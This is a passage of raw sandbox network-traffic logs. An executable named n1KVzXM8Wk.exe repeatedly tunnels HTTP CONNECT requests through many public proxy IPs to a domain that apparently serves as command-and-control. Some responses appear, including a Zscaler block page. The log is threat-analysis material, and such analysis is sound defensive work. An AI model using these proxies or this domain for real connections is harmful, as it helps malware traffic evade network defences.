Feb 23, 2024 09:45:37.599612951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.4	54236	163.172.158.70	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.553942919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557781935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.599683046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.4	54759	178.33.162.89	58020	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.560787916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557708025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.599685907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.646883011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.646784067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.646791935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:19.673885107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.4	54272	172.83.159.65	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.561084986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740525961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.740936995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.4	50070	152.228.140.225	28119	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.568715096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740546942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.4	54744	104.238.111.107	53777	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.569111109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.4	54437	94.130.171.221	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.569650888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740585089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.4	54369	207.180.235.153	55225	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.573905945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740649939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.740938902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.834389925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.834364891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.834254980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:19.912455082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.4	54293	51.210.4.123	58653	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.574093103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.4	50100	190.232.89.125	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.600795984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.4	54930	109.123.254.43	42048	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.604475021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.365586996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.178569078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.4	50083	188.164.196.30	49426	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.605164051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740849972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.741060019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.834389925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.834364891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.834281921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:19.912455082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.4	50105	178.33.252.189	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.614289045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.681704998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:59.341161966 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.4	50189	91.134.140.160	20896	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.619894028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.681726933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.682569981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.684109926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.709255934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.4	54964	104.129.205.25	54321	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.623981953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.731595039 CET	1286	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Server: Zscaler/6.2 Cache-Control: no-cache Access-Control-Allow-Origin: * Content-length: 13837 Data Raw: 3c 21 2d 2d 23 20 49 64 3a 20 73 65 63 75 72 69 74 79 2e 68 74 6d 6c 20 32 38 35 31 34 34 20 32 30 32 31 2d 30 36 2d 31 36 20 30 35 3a 30 32 3a 30 36 5a 20 73 7a 68 61 6e 67 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5a 73 63 61 6c 65 72 20 6d 61 6b 65 73 20 74 68 65 20 69 6e 74 65 72 6e 65 74 20 73 61 66 65 20 66 6f 72 20 62 75 73 69 6e 65 73 73 65 73 20 62 79 20 70 72 6f 74 65 63 74 69 6e 67 20 74 68 65 69 72 20 65 6d 70 6c 6f 79 65 65 73 20 66 72 6f 6d 20 6d 61 6c 77 61 72 65 2c 20 76 69 72 75 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 73 65 63 75 72 69 74 79 20 74 68 72 65 61 74 73 2e 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c 74 69 74 6c 65 3e 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 62 79 20 5a 73 63 61 6c 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 76 61 72 20 64 65 66 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 3c 69 6d 67 20 61 6c 74 3d 22 5a 73 63 61 6c 65 72 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 7a 73 63 61 6c 65 72 74 77 6f 2e 6e 65 74 2f 69 6d 67 5f 6c 6f 67 6f 5f 6e 65 77 31 2e 70 6e 67 22 3e 2d 2d 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 33 65 33 65 33 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0a 63 6f 6c 6f 72 3a 23 34 42 34 46 35 34 3b 0a 7d 0a 61 20 7b 0a 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0a 63 6f 6c 6f 72 3a 23 30 30 39 64 64 30 3b 0a 7d 0a 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 0a 7d 0a 74 64 20 74 61 62 6c 65 20 7b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 69 6d 67 20 7b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 37 35 70 78 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 34 33 30 70 78 3b 0a 7d 0a 2e 70 67 20 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 74 6f 70 3a 30 3b 0a 62 6f 74 74 6f 6d 3a 30 3b 0a 6c 65 66 74 3a 30 3b 0a 72 69 67 68 74 3a 30 3b 0a 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 3b 0a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 0a 7d 0a 2e 70 67 3a 62 65 66 6f 72 65 20 7b 0a 63 6f 6e 74 65 6e 74 3a 22 22 3b 0a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 68 65 69 67 68 Data Ascii: ...# Id: security.html 285144 2021-06-16 05:02:06Z szhang --><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta name="description" content="Zscaler makes the internet safe for businesses by protecting their employees from malware, viruses, and other security threats."><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Internet Security by Zscaler</title><script language="JavaScript">var defLang = 'en_US'</script>...<img alt="Zscaler" src="https://login.zscalertwo.net/img_logo_new1.png">--><style type="text/css">body {background-color:#e3e3e3;font-family:Arial, sans-serif;font-size:12px;color:#4B4F54;}a {cursor:pointer;text-decoration:none;color:#009dd0;}table {margin-top:10px;}td table {margin-top:0;text-align:center;}img {max-height:75px;max-width:430px;}.pg {position:absolute;top:0;bottom:0;left:0;right:0;overflow-x:hidden;white-space:nowrap;}.pg:before {content:"";display:inline-block;heigh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.4	54443	91.192.25.158	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.649441957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.4	54934	124.6.155.170	3130	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.649555922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.377413034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.317179918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.147298098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.740886927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:50.312328100 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.4	54963	83.229.61.198	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.649558067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179044962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.865916967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.975238085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.084395885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.178414106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.4	50028	194.233.78.142	34471	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.649653912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740849972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.741055965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.4	54989	211.234.125.3	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.649730921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.4	54940	8.213.128.90	5001	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.650464058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.4	54949	5.44.42.82	10808	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.656347990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.4	54938	27.75.148.52	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.656347990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.4	54363	129.205.123.214	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.656697035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1804	192.168.2.4	52959	203.154.39.146	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.658246994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.580832005 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:32 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Feb 23, 2024 09:45:32.580941916 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.4	54973	141.94.174.6	59583	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.659765959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.4	55003	43.153.55.205	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.660007000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.4	54937	125.122.26.242	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
